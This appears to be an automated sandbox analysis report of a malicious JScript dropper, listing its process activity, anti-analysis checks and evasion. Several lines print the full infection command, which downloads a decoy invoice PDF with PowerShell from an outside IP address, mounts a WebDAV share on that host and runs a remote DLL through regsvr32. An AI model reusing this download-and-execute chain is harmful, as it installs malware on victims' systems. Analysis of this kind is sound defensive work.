Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6362.js.csv");ITextStream.WriteLine(" entry:8675 f:wgrbxuo");ITextStream.WriteLine(" exec:2 f:wgrbxuo");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4302			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5512			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5260	Thread sleep count: 4302 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2364	Thread sleep count: 5512 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2520	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3060	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5160	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1492	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6412	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1564	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: wscript.exe, 00000000.00000002.2047794921.000001E8DF386000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: net.exe, 00000007.00000002.2106553967.0000015835D28000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: net.exe, 00000007.00000002.2106625720.0000015835D89000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2105368171.0000015835D89000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3334435675.0000019046258000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.3333140984.0000019040C2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
